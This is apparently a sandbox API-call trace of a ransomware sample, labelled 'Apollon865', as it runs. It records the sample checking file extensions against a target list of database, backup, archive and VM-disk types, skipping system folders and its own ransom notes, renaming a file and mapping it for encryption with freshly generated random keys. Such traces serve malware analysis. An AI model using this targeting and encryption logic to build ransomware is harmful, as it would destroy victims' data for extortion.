	[0084.184] lstrlenW (lpString="fm5") returned 3
	[0084.184] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0084.184] lstrlenW (lpString="fmp") returned 3
	[0084.184] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0084.184] lstrlenW (lpString="fmp12") returned 5
	[0084.184] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0084.184] lstrlenW (lpString="fmpsl") returned 5
	[0084.184] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0084.184] lstrlenW (lpString="fol") returned 3
	[0084.184] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0084.184] lstrlenW (lpString="fp3") returned 3
	[0084.184] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0084.185] lstrlenW (lpString="fp4") returned 3
	[0084.185] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0084.185] lstrlenW (lpString="fp5") returned 3
	[0084.185] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0084.185] lstrlenW (lpString="fp7") returned 3
	[0084.185] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0084.185] lstrlenW (lpString="fpt") returned 3
	[0084.185] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0084.185] lstrlenW (lpString="frm") returned 3
	[0084.185] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0084.185] lstrlenW (lpString="gdb") returned 3
	[0084.185] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.185] lstrlenW (lpString="gdb") returned 3
	[0084.185] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.185] lstrlenW (lpString="grdb") returned 4
	[0084.185] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0084.185] lstrlenW (lpString="gwi") returned 3
	[0084.185] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0084.185] lstrlenW (lpString="hdb") returned 3
	[0084.185] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0084.185] lstrlenW (lpString="his") returned 3
	[0084.185] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0084.185] lstrlenW (lpString="ib") returned 2
	[0084.185] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0084.185] lstrlenW (lpString="idb") returned 3
	[0084.185] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0084.185] lstrlenW (lpString="ihx") returned 3
	[0084.185] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0084.185] lstrlenW (lpString="itdb") returned 4
	[0084.185] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0084.185] lstrlenW (lpString="itw") returned 3
	[0084.185] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0084.185] lstrlenW (lpString="jet") returned 3
	[0084.185] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0084.185] lstrlenW (lpString="jtx") returned 3
	[0084.185] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0084.185] lstrlenW (lpString="kdb") returned 3
	[0084.186] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0084.186] lstrlenW (lpString="kexi") returned 4
	[0084.186] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0084.186] lstrlenW (lpString="kexic") returned 5
	[0084.186] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0084.186] lstrlenW (lpString="kexis") returned 5
	[0084.186] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0084.186] lstrlenW (lpString="lgc") returned 3
	[0084.186] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0084.186] lstrlenW (lpString="lwx") returned 3
	[0084.186] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0084.186] lstrlenW (lpString="maf") returned 3
	[0084.186] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0084.186] lstrlenW (lpString="maq") returned 3
	[0084.186] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0084.186] lstrlenW (lpString="mar") returned 3
	[0084.186] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0084.186] lstrlenW (lpString="marshal") returned 7
	[0084.186] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0084.186] lstrlenW (lpString="mas") returned 3
	[0084.186] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0084.186] lstrlenW (lpString="mav") returned 3
	[0084.186] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0084.186] lstrlenW (lpString="maw") returned 3
	[0084.186] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0084.186] lstrlenW (lpString="mdbhtml") returned 7
	[0084.186] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0084.186] lstrlenW (lpString="mdn") returned 3
	[0084.186] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0084.186] lstrlenW (lpString="mdt") returned 3
	[0084.186] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0084.186] lstrlenW (lpString="mfd") returned 3
	[0084.186] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0084.186] lstrlenW (lpString="mpd") returned 3
	[0084.186] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0084.186] lstrlenW (lpString="mrg") returned 3
	[0084.186] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0084.187] lstrlenW (lpString="mud") returned 3
	[0084.187] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0084.187] lstrlenW (lpString="mwb") returned 3
	[0084.187] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0084.187] lstrlenW (lpString="myd") returned 3
	[0084.187] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0084.187] lstrlenW (lpString="ndf") returned 3
	[0084.187] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0084.187] lstrlenW (lpString="nnt") returned 3
	[0084.187] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0084.187] lstrlenW (lpString="nrmlib") returned 6
	[0084.187] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0084.187] lstrlenW (lpString="ns2") returned 3
	[0084.187] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0084.187] lstrlenW (lpString="ns3") returned 3
	[0084.187] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0084.187] lstrlenW (lpString="ns4") returned 3
	[0084.187] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0084.187] lstrlenW (lpString="nsf") returned 3
	[0084.187] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0084.187] lstrlenW (lpString="nv") returned 2
	[0084.187] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0084.187] lstrlenW (lpString="nv2") returned 3
	[0084.187] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0084.187] lstrlenW (lpString="nwdb") returned 4
	[0084.187] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0084.187] lstrlenW (lpString="nyf") returned 3
	[0084.187] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0084.187] lstrlenW (lpString="odb") returned 3
	[0084.187] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.187] lstrlenW (lpString="odb") returned 3
	[0084.187] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.187] lstrlenW (lpString="oqy") returned 3
	[0084.187] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0084.187] lstrlenW (lpString="ora") returned 3
	[0084.187] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0084.187] lstrlenW (lpString="orx") returned 3
	[0084.187] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0084.187] lstrlenW (lpString="owc") returned 3
	[0084.188] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0084.188] lstrlenW (lpString="p96") returned 3
	[0084.188] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0084.188] lstrlenW (lpString="p97") returned 3
	[0084.188] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0084.188] lstrlenW (lpString="pan") returned 3
	[0084.188] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0084.188] lstrlenW (lpString="pdb") returned 3
	[0084.188] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0084.188] lstrlenW (lpString="pdm") returned 3
	[0084.188] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0084.188] lstrlenW (lpString="pnz") returned 3
	[0084.188] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0084.188] lstrlenW (lpString="qry") returned 3
	[0084.188] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0084.188] lstrlenW (lpString="qvd") returned 3
	[0084.188] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0084.188] lstrlenW (lpString="rbf") returned 3
	[0084.188] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0084.188] lstrlenW (lpString="rctd") returned 4
	[0084.188] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0084.188] lstrlenW (lpString="rod") returned 3
	[0084.188] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0084.188] lstrlenW (lpString="rodx") returned 4
	[0084.188] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0084.188] lstrlenW (lpString="rpd") returned 3
	[0084.188] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0084.188] lstrlenW (lpString="rsd") returned 3
	[0084.188] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0084.188] lstrlenW (lpString="sas7bdat") returned 8
	[0084.188] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0084.188] lstrlenW (lpString="sbf") returned 3
	[0084.188] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0084.188] lstrlenW (lpString="scx") returned 3
	[0084.188] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0084.188] lstrlenW (lpString="sdb") returned 3
	[0084.188] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0084.188] lstrlenW (lpString="sdc") returned 3
	[0084.188] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0084.189] lstrlenW (lpString="sdf") returned 3
	[0084.189] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0084.189] lstrlenW (lpString="sis") returned 3
	[0084.189] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0084.189] lstrlenW (lpString="spq") returned 3
	[0084.189] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0084.189] lstrlenW (lpString="te") returned 2
	[0084.189] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0084.189] lstrlenW (lpString="teacher") returned 7
	[0084.189] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0084.189] lstrlenW (lpString="tmd") returned 3
	[0084.189] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0084.189] lstrlenW (lpString="tps") returned 3
	[0084.189] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0084.189] lstrlenW (lpString="trc") returned 3
	[0084.189] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.189] lstrlenW (lpString="trc") returned 3
	[0084.189] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.189] lstrlenW (lpString="trm") returned 3
	[0084.189] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0084.189] lstrlenW (lpString="udb") returned 3
	[0084.189] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0084.189] lstrlenW (lpString="udl") returned 3
	[0084.189] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0084.189] lstrlenW (lpString="usr") returned 3
	[0084.189] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0084.189] lstrlenW (lpString="v12") returned 3
	[0084.189] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0084.189] lstrlenW (lpString="vis") returned 3
	[0084.189] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0084.189] lstrlenW (lpString="vpd") returned 3
	[0084.189] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0084.189] lstrlenW (lpString="vvv") returned 3
	[0084.189] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0084.189] lstrlenW (lpString="wdb") returned 3
	[0084.189] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0084.189] lstrlenW (lpString="wmdb") returned 4
	[0084.190] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0084.190] lstrlenW (lpString="wrk") returned 3
	[0084.190] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0084.190] lstrlenW (lpString="xdb") returned 3
	[0084.190] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0084.190] lstrlenW (lpString="xld") returned 3
	[0084.190] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0084.190] lstrlenW (lpString="xmlff") returned 5
	[0084.190] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0084.190] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll.Apollon865") returned 81
	[0084.190] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0084.191] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0084.192] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=154464) returned 1
	[0084.192] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0084.192] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0084.192] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0084.192] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0084.193] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0084.193] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.193] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x25e60, lpName=0x0) returned 0x15c
	[0084.195] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x25e60) returned 0x120000
	[0084.203] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0084.204] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0084.204] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0084.204] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0084.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0084.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0084.204] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0084.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0084.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0084.205] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0084.205] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0084.205] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0084.205] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0084.206] CloseHandle (hObject=0x15c) returned 1
	[0084.206] CloseHandle (hObject=0x9c) returned 1
	[0084.206] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0084.206] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0084.206] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0084.207] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb31c100, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb31c100, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x115b60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WWINTL.REST.trx_dll", cAlternateFileName="WWINTL~2.TRX")) returned 1
	[0084.207] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.207] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0084.207] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".") returned 1
	[0084.207] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="..") returned 1
	[0084.207] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="windows") returned 1
	[0084.207] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="bootmgr") returned 1
	[0084.207] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="temp") returned 1
	[0084.207] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="pagefile.sys") returned 1
	[0084.207] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="boot") returned 1
	[0084.207] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="ids.txt") returned 1
	[0084.207] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="ntuser.dat") returned 1
	[0084.207] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="perflogs") returned 1
	[0084.207] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="MSBuild") returned 1
	[0084.208] lstrlenW (lpString="WWINTL.REST.trx_dll") returned 19
	[0084.208] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll") returned 70
	[0084.208] lstrcpyW (in: lpString1=0x119e670, lpString2="WWINTL.REST.trx_dll" | out: lpString1="WWINTL.REST.trx_dll") returned="WWINTL.REST.trx_dll"
	[0084.208] lstrlenW (lpString="WWINTL.REST.trx_dll") returned 19
	[0084.208] lstrlenW (lpString="Apollon865") returned 10
	[0084.208] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0084.208] lstrlenW (lpString=".dll") returned 4
	[0084.208] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0084.208] lstrlenW (lpString=".lnk") returned 4
	[0084.208] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0084.208] lstrlenW (lpString=".ini") returned 4
	[0084.208] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0084.208] lstrlenW (lpString=".sys") returned 4
	[0084.208] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0084.208] lstrlenW (lpString="WWINTL.REST.trx_dll") returned 19
	[0084.208] lstrlenW (lpString="bak") returned 3
	[0084.208] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0084.208] lstrlenW (lpString="ba_") returned 3
	[0084.208] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0084.208] lstrlenW (lpString="dbb") returned 3
	[0084.208] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0084.208] lstrlenW (lpString="vmdk") returned 4
	[0084.208] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0084.208] lstrlenW (lpString="rar") returned 3
	[0084.208] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0084.208] lstrlenW (lpString="zip") returned 3
	[0084.208] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0084.208] lstrlenW (lpString="tgz") returned 3
	[0084.208] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0084.208] lstrlenW (lpString="vbox") returned 4
	[0084.208] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0084.208] lstrlenW (lpString="vdi") returned 3
	[0084.208] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0084.208] lstrlenW (lpString="vhd") returned 3
	[0084.208] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0084.208] lstrlenW (lpString="vhdx") returned 4
	[0084.208] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0084.208] lstrlenW (lpString="avhd") returned 4
	[0084.208] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0084.209] lstrlenW (lpString="db") returned 2
	[0084.209] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0084.209] lstrlenW (lpString="db2") returned 3
	[0084.209] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0084.209] lstrlenW (lpString="db3") returned 3
	[0084.209] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0084.209] lstrlenW (lpString="dbf") returned 3
	[0084.209] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0084.209] lstrlenW (lpString="mdf") returned 3
	[0084.209] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0084.209] lstrlenW (lpString="mdb") returned 3
	[0084.209] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0084.209] lstrlenW (lpString="sql") returned 3
	[0084.209] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0084.209] lstrlenW (lpString="sqlite") returned 6
	[0084.209] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0084.209] lstrlenW (lpString="sqlite3") returned 7
	[0084.209] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0084.209] lstrlenW (lpString="sqlitedb") returned 8
	[0084.209] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0084.209] lstrlenW (lpString="xml") returned 3
	[0084.209] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0084.209] lstrlenW (lpString="$er") returned 3
	[0084.209] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0084.209] lstrlenW (lpString="4dd") returned 3
	[0084.209] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0084.210] lstrlenW (lpString="4dl") returned 3
	[0084.210] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0084.210] lstrlenW (lpString="^^^") returned 3
	[0084.210] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0084.210] lstrlenW (lpString="abs") returned 3
	[0084.210] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0084.210] lstrlenW (lpString="abx") returned 3
	[0084.210] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0084.210] lstrlenW (lpString="accdb") returned 5
	[0084.210] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0084.210] lstrlenW (lpString="accdc") returned 5
	[0084.210] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0084.210] lstrlenW (lpString="accde") returned 5
	[0084.210] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0084.210] lstrlenW (lpString="accdr") returned 5
	[0084.210] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0084.210] lstrlenW (lpString="accdt") returned 5
	[0084.210] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0084.210] lstrlenW (lpString="accdw") returned 5
	[0084.210] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0084.210] lstrlenW (lpString="accft") returned 5
	[0084.210] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0084.210] lstrlenW (lpString="adb") returned 3
	[0084.210] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.210] lstrlenW (lpString="adb") returned 3
	[0084.210] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.210] lstrlenW (lpString="ade") returned 3
	[0084.210] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0084.210] lstrlenW (lpString="adf") returned 3
	[0084.210] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0084.210] lstrlenW (lpString="adn") returned 3
	[0084.210] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0084.210] lstrlenW (lpString="adp") returned 3
	[0084.210] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0084.210] lstrlenW (lpString="alf") returned 3
	[0084.210] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0084.211] lstrlenW (lpString="ask") returned 3
	[0084.211] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0084.211] lstrlenW (lpString="btr") returned 3
	[0084.211] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0084.211] lstrlenW (lpString="cat") returned 3
	[0084.211] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0084.211] lstrlenW (lpString="cdb") returned 3
	[0084.211] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0084.211] lstrlenW (lpString="ckp") returned 3
	[0084.211] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0084.211] lstrlenW (lpString="cma") returned 3
	[0084.211] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0084.211] lstrlenW (lpString="cpd") returned 3
	[0084.211] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0084.211] lstrlenW (lpString="dacpac") returned 6
	[0084.211] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0084.211] lstrlenW (lpString="dad") returned 3
	[0084.211] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0084.211] lstrlenW (lpString="dadiagrams") returned 10
	[0084.211] lstrcmpiW (lpString1="ST.trx_dll", lpString2="dadiagrams") returned 1
	[0084.211] lstrlenW (lpString="daschema") returned 8
	[0084.211] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0084.211] lstrlenW (lpString="db-journal") returned 10
	[0084.211] lstrcmpiW (lpString1="ST.trx_dll", lpString2="db-journal") returned 1
	[0084.211] lstrlenW (lpString="db-shm") returned 6
	[0084.211] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0084.211] lstrlenW (lpString="db-wal") returned 6
	[0084.211] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0084.211] lstrlenW (lpString="dbc") returned 3
	[0084.211] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0084.211] lstrlenW (lpString="dbs") returned 3
	[0084.211] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0084.211] lstrlenW (lpString="dbt") returned 3
	[0084.211] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0084.211] lstrlenW (lpString="dbv") returned 3
	[0084.211] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0084.211] lstrlenW (lpString="dbx") returned 3
	[0084.211] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0084.212] lstrlenW (lpString="dcb") returned 3
	[0084.212] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
